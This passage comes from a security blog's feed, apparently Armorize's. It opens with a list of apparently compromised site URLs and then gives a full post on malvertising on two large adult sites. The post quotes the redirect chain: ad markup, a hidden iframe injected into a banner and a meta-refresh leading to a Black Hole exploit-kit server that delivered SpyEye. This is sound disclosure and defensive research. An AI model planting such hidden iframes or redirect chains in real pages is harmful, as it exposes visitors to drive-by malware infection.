com.arhttp://beatabrzoza.plhttp://benjalak.co.cchttp://bestforexacademy.comhttp://beypazariseker.comhttp://bgtopproperty.comhttp://bhartiyasamaj.org.nzhttp://bijuarez.comhttp://bingoltime.comhttp://blissrhythm.comhttp://bodrumdenizevleri.comhttp://bodyhome.co.ukhttp://bombel.orghttp://borkro.comhttp://bosstasarim.nethttp://brain-care.comhttp://brownpaper.co.thhttp://bungaloff.ruhttp://cabaniaslejanoeste.com.arhttp://callieandcompany.comhttp://carreramaleconcampeche.comhttp://cassiamatos.com.brhttp://celalalt.rohttp://cenit.org.pehttp://cevdetogullari.com.trhttp://changedlifeseminar.comhttp://chantelb.comhttp://cherrydirect.co.ukhttp://chezarthur.comhttp://chinabetpoker.comhttp://chinapartypoker.comhttp://chinapokerbet.comhttp://chipmaster.pthttp://chsch.ac.thhttp://citycm.comhttp://clahrc-cp.orghttp://cleanhouseskusadasi.comhttp://colincampbell.co.ukhttp://contech05.comhttp://cplinmobiliaria.comhttp://csswebsitedesign.cahttp://cuvenet.behttp://dakkapel-tips.nlhttp://damarlidernegi.comhttp://datingsites-overzicht.comhttp://datvietshop.comhttp://ddc.bialystok.plhttp://dekoratifoluk.comhttp://dev-it.aptests.nethttp://directorysubmitter.inhttp://discreetfotoafdrukken.nlhttp://divels.byhttp://diziizledizi.tkhttp://djpmpro.comhttp://dodiindra.comhttp://donabis.com.brhttp://ekudakov.ruhttp://elider.org.pehttp://emlakdost.comhttp://enwgroup.comhttp://ephos-bg.comhttp://equipedeponta.com.brhttp://erenerdogan.com.trhttp://escaleras-delko.comhttp://escortbayanla.comhttp://esdthailand.comhttp://estudio-zero.comhttp://eugeniasilva.euhttp://evasachsdesigns.comhttp://evelyncampbell.co.ukhttp://eventuresnet.comhttp://evonutrion.comhttp://facebook.gurlville.comhttp://fethiyecarrental.nethttp://filoilkogretim.comhttp://fitnessbuckinghamshire.comhttp://fitness-magazine.orghttp://fluxusministerija.lthttp://flytochina.nlhttp://fok-lo.nohttp://forextradingebooks.comhttp://forumarena.nehttp://fotografiakostrzewa.plhttp://fp.funbite.comhttp://frankhoes.nlhttp://gacashcows.comhttp://gamefountain.comhttp://gdp.co.thhttp://geldlenen-zonder-bkr.nlhttp://gemilangsejati.comhttp://genteygestion.comhttp://gfoods-bg.comhttp://gipsbruk.comhttp://gisdurentiga.comhttp://globalinvestmentg.comhttp://golfcoursemarket.nethttp://golftrend.nethttp://grafabrica.comhttp://grupoipc.comhttp://grzelczak.euhttp://guitare-basse.infohttp://guitarproduction.com.uahttp://haezor.comhttp://haftylogo.plhttp://herrydirect.co.ukhttp://hetboomhuis.nlhttp://hiszpanski-nauka.plhttp://hitachiservice.in.thhttp://hit-mu.nethttp://hlosportales.comhttp://hondzik.orghttp://hqguvenlik.comhttp://hrmperu.comhttp://hr-ramenendeuren.behttp://humusliving.comhttp://iamadiabetic.inhttp://iceinnpattaya.comhttp://ifhchile.clhttp://igrushkin.com.uahttp://ilk-ay.nlhttp://imaxcreative.com.arhttp://imazan.comhttp://imperialmorocco.comhttp://incrementalism.comhttp://infidel.plhttp://infobox.kzhttp://infra.byhttp://Ingallery.comhttp://inomessiniaki.grhttp://integra.co.thhttp://intelisystemstest.comhttp://intermultas.com.brhttp://itmobile.sghttp://izabelamichta.plhttp://izoflor.bghttp://japanathome.nethttp://jbinstel.plhttp://jgceramics.co.ukhttp://justinasburokas.lthttp://kalld.comhttp://kamera-guvenlik-sistemleri.comhttp://karamanesnafrehberi.comhttp://khadijahtulquran.comhttp://kindhearts.infohttp://klik-hosting.nlhttp://kontrakt-avto.ruhttp://koolthailand.comhttp://kotran.nethttp://kotvis.nlhttp://krieserdrywall.comhttp://krissybee.comhttp://krupreeda.comhttp://kuiperssporthalbeheer.nlhttp://kusu.org.trhttp://kwb-stltongeren.behttp://laisvai.lthttp://laygoeye.comhttp://lego-hogwartscastle.comhttp://lewis-ny.comhttp://linsy.co.cchttp://livezilla.802-x.comhttp://lkayinsurance.comhttp://lodzcs.plhttp://lortonmitchellhomes.comhttp://lost-in-wonderland.nethttp://lr-studio.ruhttp://macaupokerbet.comhttp://macoeng.comhttp://maduraja.comhttp://magos.com.uahttp://mangmeeprint.comhttp://mapletreefoundation.nethttp://marinapointetobacco.comhttp://markworld.nlhttp://marmipex.plhttp://maxlifeshop.co.ukhttp://mbadirections.comhttp://mbeydogan.comhttp://megamoneymarketinginfo.comhttp://mertasktosun.comhttp://metodebisnis.nethttp://migliato.com.brhttp://milliondollarpage.cahttp://mlmy.edu.plhttp://monseb72.comhttp://montazysci-okien.plhttp://moraycampbell.co.ukhttp://moto-planet.plhttp://mseshk.comhttp://mssugarvintage.comhttp://mudpots.comhttp://multimarx.nlhttp://municipiodecampeche.gob.mxhttp://muzaffersutluoglu.comhttp://muze-news.infohttp://muzikplatformu.comhttp://muzoliada.plhttp://myanmarvillage.comhttp://my-garden.plhttp://myhonda.web.idhttp://mymmlive.nethttp://naniglobal.comhttp://navtrack.euhttp://necropsya.comhttp://netuser.plhttp://neyilesifa.comhttp://nicolaszuliani.com.arhttp://noclegi-zwierzyniec.plhttp://npc-oniks.ruhttp://nsquare-organize.comhttp://obamahomerecovery.comhttp://oldiesgeneration.comhttp://omegasystems.euhttp://onedepot.com.arhttp://oo-grupazachodnia.plhttp://orcunilbeyli.comhttp://osk-kurzawa.plhttp://ostylist.comhttp://ots.com.pehttp://oxigame.nethttp://paginifunerare.rohttp://paintballossa.plhttp://parthtechnologies.comhttp://paslanmazelekteli.nethttp://pccompakca.com.vehttp://pcnet2u.comhttp://penerbit-ombak.comhttp://perdeto.comhttp://pete-mitchell.comhttp://petkidis.comhttp://phuketmatrioshkatour.ruhttp://physioplusfootscray.com.auhttp://picktemplates.comhttp://pickwallpapers.comhttp://pinfeng163.comhttp://plandela.comhttp://plengpracha.comhttp://pointmangroup.orghttp://premier-league.lthttp://pro-agency.plhttp://proballvip.comhttp://profindo.nethttp://proforhum.org.pehttp://protectourlocalschools.orghttp://p-traveler.comhttp://puertociudad.mxhttp://qednet.nethttp://ravaela.nlhttp://realpay.plhttp://redcherryproject.co.ukhttp://renkgazetesi.comhttp://reprint.clhttp://residencialcocoverde.comhttp://reunanen.infohttp://riskreform.comhttp://roof.byhttp://sahinerbas.comhttp://sapa2.ac.thhttp://satmegalus.comhttp://sbwl.orghttp://schoolhouse.com.pehttp://schulzfamilie.comhttp://serwery-cs.nethttp://serwkomp-houm.plhttp://setsoft.nethttp://shonacampbell.co.ukhttp://shoreline.inhttp://shriganeshportraits.comhttp://silenceforce.behttp://simplyheavenbaby.comhttp://siobhancampbell.co.ukhttp://small-servers.comhttp://smyrna.gehttp://snoezelenzo.nlhttp://solusstudio.plhttp://somuncuinsaat.com.trhttp://soorajmull.nethttp://spec24.com.plhttp://star-gom33ki.comhttp://stolarz-bydgoszcz.infohttp://supersmarthosting.comhttp://support.802-x.comhttp://svetlanashkrebtan.comhttp://sweetzplaza.comhttp://tabanflourmills.irhttp://taitoudesign.comhttp://tasavang.comhttp://tathastustudios.comhttp://tattoo-weglaseren.nlhttp://teamroomonline.comhttp://terraval.nethttp://thaigiftshop.bizhttp://thaimueangecotourism.comhttp://thanlnw.tkhttp://thespagroup.co.thhttp://thesuperstock.comhttp://thomaspage.dkhttp://tmwmetal.comhttp://toprakko.tkhttp://tradicionesdelperu.com.pehttp://turkey-thailand.comhttp://tutsbox.comhttp://twitterlays.comhttp://ulusmobilya.nethttp://unicornteleservices.comhttp://uniline-international.comhttp://uni-prof.ruhttp://vanfolklordernegi.comhttp://vangarderen.orghttp://vanozelders.comhttp://vavilon-bg.nethttp://vegaspokerbet.comhttp://vfxmaking.comhttp://vidhisec.comhttp://vioutlet.comhttp://viptimegift.comhttp://vittalys.clhttp://wangsingresort.comhttp://watorachacha.comhttp://wawer-szkolajazdy.plhttp://webbladeren.nlhttp://webhostbangkok.comhttp://webmasterphuket.comhttp://weddingparadisephuket.comhttp://weight2loss.comhttp://welltour.kiev.uahttp://wickedcigarettes.comhttp://witteveenreclame.nlhttp://wizart-studio.plhttp://www.108vintage.comhttp://www.ahdvietnam.comhttp://www.altincilekfiyati.comhttp://www.armiyadisignori.comhttp://www.avv-roermond.nlhttp://www.baracca.jphttp://www.bestadvice.rohttp://www.bspsac.nehttp://www.bspsac.nethttp://www.cbooy.comhttp://www.chawkacherresort.comhttp://www.christodoulidi.grhttp://www.chrometuner.comhttp://www.cihatkablan.com.trhttp://www.clubesocialkz.com.brhttp://www.demirgucbirligi.comhttp://www.discount-gas-coupons.comhttp://www.dsmartkampanya.orghttp://www.eigencreche.behttp://www.erdemmutfak.com.trhttp://www.er-web.nethttp://www.eshraq.pshttp://www.e-starprint.comhttp://www.forester58.comhttp://www.fsseguros.nethttp://www.gallerytaskoff.comhttp://www.guranorman.comhttp://www.gurelkosdemir.comhttp://www.hdtvbestselleronsale.comhttp://www.hokseng.comhttp://www.hristravel.comhttp://www.i-creative.plhttp://www.incalifehostel.comhttp://www.jewsengheng.comhttp://www.johnsdarkroom.cahttp://www.kangzensuphan.comhttp://www.knifesharpeningservices.bizhttp://www.ladyai.go.thhttp://www.lezizlezzet.com.trhttp://www.louisquail.comhttp://www.magicjoefuncenters.dehttp://www.mastermindfarms.orghttp://www.microart.bizhttp://www.minosoma.com.plhttp://www.m-norte.nethttp://www.mymatematik.comhttp://www.nettrafficbrokers.comhttp://www.newsoutreach.orghttp://www.occasiecars.behttp://www.peruenred.nethttp://www.phannoiwit.comhttp://www.phfirc.orghttp://www.pieandahat.comhttp://www.project-pc.ithttp://www.promotioncheck.comhttp://www.rafaello-trading.comhttp://www.redsna.comhttp://www.renklima.comhttp://www.sem-elektrik.comhttp://www.sindhudurgdccb.comhttp://www.sin-eido.jphttp://www.smibilingual.comhttp://www.solar-it.comhttp://www.somyotweb.comhttp://www.subhobibaho.comhttp://www.subtakean.go.thhttp://www.sukpriwan.comhttp://www.teepak4you.comhttp://www.thaigraphic.comhttp://www.thaimark.com.plhttp://www.thuiszorgzaam.nlhttp://www.tipthailand.nethttp://www.tostell.comhttp://www.triplechip.nethttp://www.ubon-cybercare.comhttp://www.ulusevdenevenakliyat.comhttp://www.urkobtt.comhttp://www.vankulturturizm.comhttp://www.vbac-club.comhttp://www.vkhospital.com.vnhttp://www.walidonsy.comhttp://www.yesilirmakdershanesi.comhttp://www.zsmokre.plhttp://wwwtrac.comhttp://wyszynykoscielne.plhttp://xn--enyakn-t9a.comhttp://yazilimdenizi.comhttp://yelmosplace.com.arhttp://zajazd-staropolski.com.plhttp://zlinki.comhttp://zodiak-garden.nl&lt;/pre&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-5697980546446776506?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/5697980546446776506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/06/mass-meshing-injection-sidenamejs.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/5697980546446776506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/5697980546446776506'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/06/mass-meshing-injection-sidenamejs.html' title='Mass Meshing Injection: sidename.js (now cssminibar.js) ongoing'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-dwSZdxWpPNc/TfWOdmI-XKI/AAAAAAAACRc/RRhRx8hR1VM/s72-c/mass_mesh_injection_sidename_js_2.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-4116503839134321821</id><published>2011-05-23T09:03:00.000-07:00</published><updated>2011-05-25T13:07:53.643-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Porn sites have lots of traffic...and malvertisements</title><content type='html'>(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/--ZudNTBsNHg/TdrxVDpLEiI/AAAAAAAACQE/SK1OdqVb_AI/s1600/pron_hub_web_malware_drive_by_download.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/--ZudNTBsNHg/TdrxVDpLEiI/AAAAAAAACQE/SK1OdqVb_AI/s1600/pron_hub_web_malware_drive_by_download.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610061629900919330" /&gt;&lt;/a&gt;&lt;br /&gt;If you walk into our office after work hours and see a couple of us surrounding Chris' seat, starring at his multiple big screens showing lots of porn....believe us we'll actually working hard.&lt;br /&gt;&lt;br /&gt;At Armorize we actively scan the Web for malware. Of course we can't cover the entire Web so we try to at least have a decent coverage of the bigger Websites. When we setup the platform sometime in the past, one thing we immediately noticed was: wow, so a good percentage of the "bigger Websites" on the internet (those with lots of traffic) are porn sites!&lt;br /&gt;&lt;br /&gt;And then as we started to run the scanning operation we soon also realized that porn sites not only have a lot of traffic, but they often fall victim to malvertising.&lt;br /&gt;&lt;br /&gt;In malvertising, malicious advertisements (malvertisements) are served by publishers (websites) to visitors. If the malvertisement involves drive-by download exploits, then the visitor can get infected without him knowing anything or having to click on or agree to anything.&lt;br /&gt;&lt;br /&gt;Here's our report of how an malicious advertiser, celeb-escorts.com, got two very large websites to serve its malvertisement.&lt;br /&gt;&lt;br /&gt;The first website is pornhub.com, &lt;a href="http://www.alexa.com/search?q=pornhub.com&amp;r=home_home&amp;p=bigtop"&gt;Alexa Top 62&lt;/a&gt; with &lt;b&gt;&lt;a href="http://siteanalytics.compete.com/pornhub.com/"&gt;23,873,546 unique visitors per day&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Very large traffic indeed. Malvertisement provided to pornhub.com by etology.com, an ad exchange. etology loads the malvertisement from its advertiser, celeb-escorts.com, whose domain was created on May 11th, 2011. And so, it is very possible that celeb-escorts.com was registered by a malicious party with the purpose of submitting malvertisements to AD networks and exchanges. Below is an illustration of the parties involved:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-lLzBSRIQ8Hw/TdyR5EVZTKI/AAAAAAAACQM/8urzV1shtgc/s1600/pornhub_malvertising_drive_by_download.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-lLzBSRIQ8Hw/TdyR5EVZTKI/AAAAAAAACQM/8urzV1shtgc/s1600/pornhub_malvertising_drive_by_download.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610519645398846626" /&gt;&lt;/a&gt;&lt;br /&gt;This is the particular malvertisement from celeb-escorts, that included an iframe to tun4atta.in, the start of a chain of malicious domains:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-PkzyqcJgpWo/Tdzfe7NsPtI/AAAAAAAACQs/hkjiG4jtkr8/s1600/malvertisement_celeb_escorts.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/-PkzyqcJgpWo/Tdzfe7NsPtI/AAAAAAAACQs/hkjiG4jtkr8/s1600/malvertisement_celeb_escorts.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610604958180982482" /&gt;&lt;/a&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Here are the detailed chain and code snippets:&lt;br /&gt;&lt;br /&gt;1. http://www.pornhub.com/&lt;br /&gt;&lt;br /&gt;2. http://delivery.trafficjunky.net/deliver2.php?zone_id=5&amp;amp;site_id=2&amp;amp;c=frontpage&lt;br /&gt;&lt;br /&gt;3. http://delivery.trafficjunky.net/batch/bootstrap-ph-footer/&lt;br /&gt;&lt;br /&gt;4. http://delivery.trafficjunky.net/batch.php?&amp;data=%5B%7B%22unique%22%3Atrue%2C%22spots%22%3A%5B%7B%22site%22%3A2%2C%22zone%22%3A27%2C%22element_id%22%3A%22footer1%22%2C%22context%22%3A%22%22%2C%22userContext%22%3A%22%22%7D%2C%7B%22site%22%3A2%2C%22zone%22%3A27%2C%22element_id%22%3A%22footer2%22%2C%22context%22%3A%22%22%2C%22userContext%22%3A%22%22%7D%2C%7B%22site%22%3A2%2C%22zone%22%3A27%2C%22element_id%22%3A%22footer3%22%2C%22context%22%3A%22%22%2C%22userContext%22%3A%22%22%7D%5D%7D%5D&amp;_callback=window.request.onSuccess%28%29&lt;br /&gt;&lt;br /&gt;5. http://media.trafficjunky.net/cdn_custom_ads/cpakarll/etologyftsq.html&lt;br /&gt;&lt;br /&gt;6. http://pages.etology.com/imp2/93114.php&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"/&amp;gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body style="border:0px;margin:0px"&amp;gt;&amp;lt;script type="text/javascript"&amp;gt;var ad={space:{id:93114,type:2,alignment:2,publisherid:52408,siteid:85149,cobrandingid:1,spacename:'Pornhub 300x250 footer rev',domain:'http%3A%2F%2Fwww%2Epornhub%2Ecom',broker_link:'http://www.etology.com/buying-space-detail.php?id=93114&amp;EID=77408',click_target:'_blank',enable_auto_collapse:'no',style1:{width:300,height:250,rows:1,cols:1,broker_link:'Advertise Here',show_broker_link:'false',background_color:'TRANSPARENT',table_style:'cellspacing=3',border_style:'',title_style:'',description_style:'',broker_link_style:'font-size:11px;font-family:Arial;color:#000000;text-align:center;text-decoration:;font-weight:;font-style:',resize:'false'},style2:{},galleries:[{id:2624,handle:'Jiwon',age:'21',headline:'want my Black Hole?',version_number:'1',media_ext:'gif'},{id:2754,handle:'Bekky',age:'19',headline:'Are thier any single fathers?',version_number:'1',media_ext:'gif'}]},payments:[{link:'http%3A%2F%2F',isAutoCollapseAd:'no',is3rdPartyAd:'true',id:174131,adid:174131,advertiserid:51689,bannerCode:"\074iframe src=http://celeb-escorts.com/banners/300x250.jpg width=\'300\'\r\nheight=\'250\' frameborder=\'0\' scrolling=\'no\' marginheight=0\r\nmarginwidth=0&amp;gt;\074/iframe&amp;gt;",matched_keyword:'',pass_search:''}],proxy_domain:'',clicks:['6f3dff7061a304100b74ca4bbb55a0c0dc36f1d720f4ec84cbd6883f8541ec4c5c28a159f6fc7bd4d7731ac4f29e3654eb845de85231ecf48201be15b98bad226e80eeb5f5e7c9a5']};&amp;lt;/script&amp;gt;&amp;lt;script type="text/javascript" src='http://media.etology.com/transformer/v41/ads2.js'&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;7. http://celeb-escorts.com/banners/300x250.jpg&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;a href='http://celeb-escorts.com/' target='_parent'&amp;gt;&amp;lt;img src='http://celeb-escorts.com/images/banner-300x250.jpeg'  border=0&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;iframe src='http://tun4atta.in/bcounter.php?u=adult' width='46' height='51' frameborder='0' scrolling='no'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;8. http://tun4atta.in/bcounter.php?u=adult&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;iframe width='34' height='44' frameborder='0' scrolling='no' src='http://iban6duo.in/ts/in.cgi?adult'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;9. http://iban6duo.in/ts/in.cgi?adult&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="REFRESH" content="1; URL='http://finish.horseretirementhome.com/index.php?tp=452874001a8808fb'"&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;document moved &amp;lt;a href="http://finish.horseretirementhome.com/index.php?tp=452874001a8808fb"&amp;gt;here&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;10. http://finish.horseretirementhome.com/index.php?tp=452874001a8808fb&lt;br /&gt;(Above serves the final malware)&lt;br /&gt;&lt;br /&gt;The browser exploits were serving using the Black Hole exploit pack. The finally installed malware kept on changing since our initial discovery on May 13th.&lt;br /&gt;&lt;br /&gt;The initial malware that was installed on vistors' machines was &lt;a href="http://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot"&gt;SpyEye&lt;/a&gt;, a crimeware similar to Zeus. Antivirus detection rate at that time was &lt;a href="http://www.virustotal.com/file-scan/report.html?id=3b5dc4738a1afeaab369c706c34d54aeaf23bf39a50a8b456b92ab0ad3feb2b4-1305532242"&gt;3 out of 42 vendors&lt;/a&gt; on VirusTotal; it has since increase to &lt;a href="http://www.virustotal.com/file-scan/report.html?id=3b5dc4738a1afeaab369c706c34d54aeaf23bf39a50a8b456b92ab0ad3feb2b4-1305532242"&gt;21 out of 42&lt;/a&gt; vendors. &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-7PmVbGYijeI/TdyR5VpZWZI/AAAAAAAACQU/WsCrNrHyjgU/s1600/pornhub_malvertising_drive_by_download_virus_total.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/-7PmVbGYijeI/TdyR5VpZWZI/AAAAAAAACQU/WsCrNrHyjgU/s1600/pornhub_malvertising_drive_by_download_virus_total.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610519650046138770" /&gt;&lt;/a&gt;&lt;br /&gt;The current malware being served is still SpyEye, but re-packed and thus having a &lt;a href="http://www.virustotal.com/file-scan/report.html?id=23d29b22d01edc3bc6c7d388ed82c9581afbd8a80c674026e40004197ae514e4-1306299679"&gt;5 out of 42 detection rate&lt;/a&gt; on VirusTotal.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-LI-hWlUOlzU/TdyR5orv2mI/AAAAAAAACQc/FrlxjpaALTY/s1600/pornhub_malvertising_drive_by_download_virus_total2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-LI-hWlUOlzU/TdyR5orv2mI/AAAAAAAACQc/FrlxjpaALTY/s1600/pornhub_malvertising_drive_by_download_virus_total2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610519655156275810" /&gt;&lt;/a&gt;&lt;br /&gt;The second website is tube8.com, &lt;a href="http://www.alexa.com/search?q=tube8.com&amp;r=site_screener&amp;p=bigtop"&gt;Alexa Top 113&lt;/a&gt; with &lt;b&gt;&lt;a href="http://siteanalytics.compete.com/tube8.com/"&gt;10,885,350 unique visitors per day&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-U8koYIUnE4k/TdzffHligFI/AAAAAAAACQ0/o9_hJJjKLd0/s1600/tube.com.1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/-U8koYIUnE4k/TdzffHligFI/AAAAAAAACQ0/o9_hJJjKLd0/s1600/tube.com.1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610604961502232658" /&gt;&lt;/a&gt;&lt;br /&gt;The top-level AD agency is the same--Traffic Junky (trafficjunky.net), and the AD exchange is the same as well--etology.com. We can actually see the same malvertisement from celeb-escorts.com on tube8.com:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-QQvrOZqkFAI/Tdzffa-pIQI/AAAAAAAACQ8/u98-ECAmUH0/s1600/tube8.com.2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/-QQvrOZqkFAI/Tdzffa-pIQI/AAAAAAAACQ8/u98-ECAmUH0/s1600/tube8.com.2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610604966707798274" /&gt;&lt;/a&gt;&lt;br /&gt;Below is an illustration of the chain:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-cAQi0zkEybo/TdzcqRVZ8KI/AAAAAAAACQk/C9sF_5hfdvk/s1600/pornhub_malvertising_drive_by_download_tube8.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width:750px" src="http://1.bp.blogspot.com/-cAQi0zkEybo/TdzcqRVZ8KI/AAAAAAAACQk/C9sF_5hfdvk/s1600/pornhub_malvertising_drive_by_download_tube8.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5610601854562594978" /&gt;&lt;/a&gt;&lt;br /&gt;The detailed traffic chain is below:&lt;br /&gt;&lt;br /&gt;1. http://tube8.com&lt;br /&gt;&lt;br /&gt;2. http://delivery.trafficjunky.net/deliver2.php?zone_id=42&amp;site_id=13&amp;cache=1305558225&amp;c=HomePage&lt;br /&gt;&lt;br /&gt;3. http://media.trafficjunky.net/cdn_custom_ads/pornhublive/T8ftphl.html&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;iframe src="http://ifa.camads.net/dif/?cid=tube8-footer-950x300" allowtransparency=true width=950 height=300 frameborder=0 marginheight=0 marginwidth=0 scrolling=no&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;4. http://ifa.camads.net/dif/?cid=tube8-footer-950x300&lt;br /&gt;&lt;br /&gt;5. http://pages.etology.com/imp2/96244.php&lt;br /&gt;&lt;br /&gt;6. http://celeb-escorts.com/banners/300x250.jpg&lt;br /&gt;&lt;br /&gt;7. http://tun4atta.in/bcounter.php?u=adult&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;iframe width='34' height='44' frameborder='0' scrolling='no' src='http://iban6duo.in/ts/in.cgi?adult'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;8. http://iban6duo.in/ts/in.cgi?adult&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="REFRESH" content="1; URL='http://finish.horseretirementhome.com/index.php?tp=452874001a8808fb'"&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;document moved &amp;lt;a href="http://finish.horseretirementhome.com/index.php?tp=452874001a8808fb"&amp;gt;here&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;9. http://finish.horseretirementhome.com/index.php?tp=452874001a8808fb&lt;br /&gt;(Above serves the final malware)&lt;br /&gt;&lt;br /&gt;With these two sites having &lt;a href="http://siteanalytics.compete.com/pornhub.com/"&gt;23,873,546&lt;/a&gt; and &lt;a href="http://siteanalytics.compete.com/tube8.com/"&gt;10,885,350&lt;/a&gt; unique visitors per day, respectively, and serving this malvertisement from celeb-escorts.com since May 13th, there should have been a good number of infected visitors.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-4116503839134321821?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/4116503839134321821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/05/porn-sites-have-lots-of-trafficand.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/4116503839134321821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/4116503839134321821'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/05/porn-sites-have-lots-of-trafficand.html' title='Porn sites have lots of traffic...and malvertisements'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 